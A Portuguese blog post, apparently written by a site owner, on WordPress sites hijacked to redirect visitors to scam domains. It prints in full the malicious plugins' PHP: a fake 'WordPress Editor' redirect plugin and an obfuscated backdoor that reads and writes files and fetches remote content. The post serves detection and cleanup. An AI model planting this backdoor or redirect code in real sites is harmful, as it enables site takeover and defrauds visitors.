Facebook Pixel
Sites WordPress Direcionando para SCAM

Sites WordPress Direcionando para SCAM

Vários dos meus sites feitos utilizando a plataforma WordPress foram atacados essa semana, provavelmente por uma falha de segurança no provedor de hospedagem que estou utilizando, o qual se eximiu de qualquer resposabilidade. Os sites atacados apresentavam o seguinte comportamento:

  • No primeiro acesso a qualquer página do site, esta abre perfeitamente e os links se mostram perfeitos. Se você para o mouse sobre os links os endereços estão corretos.
  • Ao se clicar em qualquer link o usuário é levado a um site de scam:
Site de scam

O provedor em questão alegou ter passado uma ferramenta de varredura nos domínios que foram comprometidos e não encontraram qualquer arquivo malicioso, o que me levou ao trabalho de analisar qual ou quais foram os arquivos comprometidos no ataque.

Como primeiro passo desativei todos os plugins. Fazendo isso o redirecionamento para o site de scam parou de acontecer, o que reduziu a área a ser investigada.

Seguindo a mesma filosofia fui ativando plugin por plugin até ver o momento em que a falha retornaria. Isso aconteceu ao ativar o plugin WordPress Editor, que, teoricamente, serve para habilitar o editor clássico do WordPress, aquele que era utilizado antes da atualização Gutemberg que trouxe o novo editor em forma de blocos.

O malware passa despercebido na lista de plugins porque a descrição dele é igual a descrição do “Editor clássico”, induzindo o administrador do site ao erro.

O Editor clássico original aparece listado com o nome “Editor Clássico” ou, em inglês “Classic Editor”. Fica na pasta “/wp-content/plugins/classic-editor” e seu código de programação possui 954 linhas, em nada se assemelhando ao malware citado acima.

Plugin do editor clássico

Dito isso, a solução do problema ficou muito simples: bastou remover o plugin WordPress Editor. É bom avisar que, mesmo o “Editor clássico” original é totalmente desnecessário pois atualmente faz parte da biblioteca padrão do editor de blocos.

Editor clássico como bloco Gutemberg

Acontece que nem sempre é tão simples. Algumas vezes o WordPress fica tão comprometido com esse ataque que não é possível, sequer, entrar no painel administrativo para excluir o plugin, e nesse caso é necessário fazer isso manualmente. Para tal basta acessar a estrutura de arquivos do site e ir na pasta: “/wp-content/plugins”. Lá você irá encontrar um série de pastas, bastará renomeá-las para que os plugins parem de funcionar.

Para evitar confusão, eu, particularmente, adiciono um traço “-” ao final do nome de cada pasta. Assim fica fácil saber quais plugins estão desativados.

Para complicar um pouco mais, no caso do plugin “WordPress Editor” a pasta está com outro nome, apenas “Plugin”. Para que você possa se certificar que se trata do malware coloquei o código-fonte dele abaixo para que você possa comparar. Perceba a maldade na linha 26:

<?php
/*
Plugin Name: WordPress Editor
Plugin URI:  https://wp.com
Description: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen.
Version:     5.0.0
Author:      WordPress
Author URI:  https://wp.com
License:     GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/


// FIX LOGIN PAGE
function is_login_page() {
    return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));
}
		
	
function my_function() {

        $is_admin = current_user_can( 'manage_options' );
        $ref = $_SERVER['HTTP_REFERER'];
		
		// LINKS
		$urls = ['http://xn--80aj6ah1a.xn--p1ai','http://xn--e1adtoj.xn--p1ai','http://xn--80azck0a.xn--p1ai','http://xn--90aixnm.xn--p1ai','http://xn--c1ae0ahg.xn--p1ai','http://xn--c1ab3awv.xn--p1ai','http://xn--e1annge.xn--p1ai'];
	
		$url = "";
		//$url = ;
        if(!$is_admin && !empty($ref) && !is_login_page()){
            header("Location: ".$urls[array_rand($urls)]);
            exit();
        } else{
          
        }
}
add_action( 'wp_loaded', 'my_function' );



?>
Hacked WordPress plugin

Caso você encontre este código em seu site WordPress, simplesmente elimine o arquivo.

Atualização

Recentemente esse mesmo tipo de ataque sofreu mutação e agora a pasta se chama “plugs” e o arquivo contendo o código malicioso está espalhado em pastas com nomes codificados.

No meu caso aparecerem os seguintes diretórios dentro do diretório de plugins do WordPress:

opt_v2v9x
opt_v5tmh
opt_v6hu6
plugs

Observem que o único padrão é a pasta “plugs” enquanto aquelas cujo nome começa com “opt” parece ter seus sufixos gerados aleatoriamente. Eu tive o trabalho de quebrar as linhas e fazer as identações para ficar viável a leitura. Esse é o conteúdo dos arquivos PHP dentro das pastas “opt”:

<?php 
if(!empty($_POST['jkuyr5t'])&& $_POST['jkuyr5t']="fghse5s"){
	$i=0;
	$g=0;
	$p="./";
	do{if(in_array("wp-config.php",scandir($p))){
		echo "ggg" .$g ."ggg";
		echo "ppp" .$p ."ppp";
		die();
		break;}
	$p .= "../";
	$g++;
	$i++;}
while($i != 10);
echo "sdghfgxfhytdrf";
die();}
if(!empty($_POST['hjutr4w'])&& $_POST['hjutr4w']="nrs45r"&&!empty($_POST['xcbn7r'])&&!empty($_POST['ep8trd'])){
	$w=file_get_contents(urldecode($_POST['xcbn7r']));
	if(!empty($_POST["net42w"])){
		$w .= "\n" .urldecode($_POST["net42w"]);}
	file_put_contents(urldecode($_POST['ep8trd']),$w);}
if(!empty($_POST['fgh6454'])&& $_POST['fgh6454']="nr5ydfg"&&!empty($_POST['zv4yye'])){
	echo file_get_contents($_POST['zv4yye']);
	die();}
@extract($_REQUEST);
@die($y4e5tyt($msr4y6));
?>

Enquanto o arquivo “plug.php” dentro do diretório “plug” sofreu poucas alterações:

<?php
/*
Plugin Name: Yobar Wordpresa
Plugin URI:  https://fbi.com
Description: Ebanatko
Version:     2.5.9
Author:      Huyara
Author URI:  https://suka.bliat.com
License:     GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/

function huyara() {
    return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));
}
function suka_func_wp_sosat() {
	$is_admin = current_user_can( 'manage_options' );
	$ref = $_SERVER['HTTP_REFERER'];
	$urls = ['http://xn--80a8bdcg.xn--p1ai','http://xn--g1aehqp.xn--p1ai','http://xn--80ake6dxb.xn--p1ai','http://xn--b1atd4ae.xn--p1ai','http://xn--i1aefi6c.xn--p1ai','http://xn--80ahxth.xn--p1ai','http://xn--h1aij0ay.xn--p1ai'];
	$url = "";
	if(!$is_admin && !empty($ref) && !huyara()){
		header("Location: ".$urls[array_rand($urls)]);
		exit();
	} else{}
}
add_action( 'wp_loaded', 'suka_func_wp_sosat' );

?>

Um dos maiores problemas desse ataque é que ele parece não estar listado em nenhum tipo de programa anti-malware utilizado pelos provedores de hospedagem, então, toda vez que peço auxílio nesse sentido a resposta do meu provedor é que meu site não foi invadido e que não há qualquer problema lá, o que me faz demandar grande tempo e esforço para solucionar o problema com minhas próprias mãos. Esforço este que trago aqui para este blog para simplificar a vida daqueles que passaram pelo mesmo problema.

Atualização (15/06/2021) / Possível Solução

Nesta data recebi um e-mail de WordPress.com informando que um atacante estava utilizando minha conta para inserir plugins maliciosos em meus sites.

Recentemente alguns serviços de grande porte foram invadidos. Os invasores conseguiram acesso a informações como e-mail e senhas de todos os usuários de tais serviços. Por se tratarem de grandes empresas eu utilizava uma senha padrão que, ao ser descoberta, abriu caminho para que os atacantes pudessem se passar por mim em outros serviços nos quais eu utilizava a mesma senha padrão.

Segundo o e-mail enviado pela WordPress foi isso que aconteceu. Os criminosos acessavam minha conta e, através do Jetpack, que utilizo para gerenciar vários sites eles conseguiam implantar o plugin malicioso nesses sites. A informação foi precisa e pontual, listando os nomes dos plugins exatamente conforme listei aqui. Como medida preventiva eles reiniciaram minha senha, impedindo assim que o atacante voltasse a se passar por mim. Logo em seguida cadastrei uma senha nova de maior segurança. Caso você não tenha recebido este e-mail da WordPress.com e ainda esteja sofrendo com este problema, a solução pode ser tão simples quanto apenas alterar sua senha naquele serviço.

Se você achou esse conteúdo útil ou relevante, considere assinar este blog:

4 thoughts on “Sites WordPress Direcionando para SCAM

  1. Thank you for this, we had the same problem, I found your post (and Google Translate) and fixed it! Thank you so much.

    Ours was in a folder called “plugin”. Do you know how it got there in the first place?

    1. Thank you for your feedback, this is the kind of message that make me think about write my posts in english version as well. I don’t know how it’s got there. In a first moment I think about a security breach in the host that allowed the intruder to insert this malicious code. It’s important to listen other reports to reach a final conclusion but this is my first impression. If you find out something else, please, keep me posted.

Deixe seu comentário

%d blogueiros gostam disto: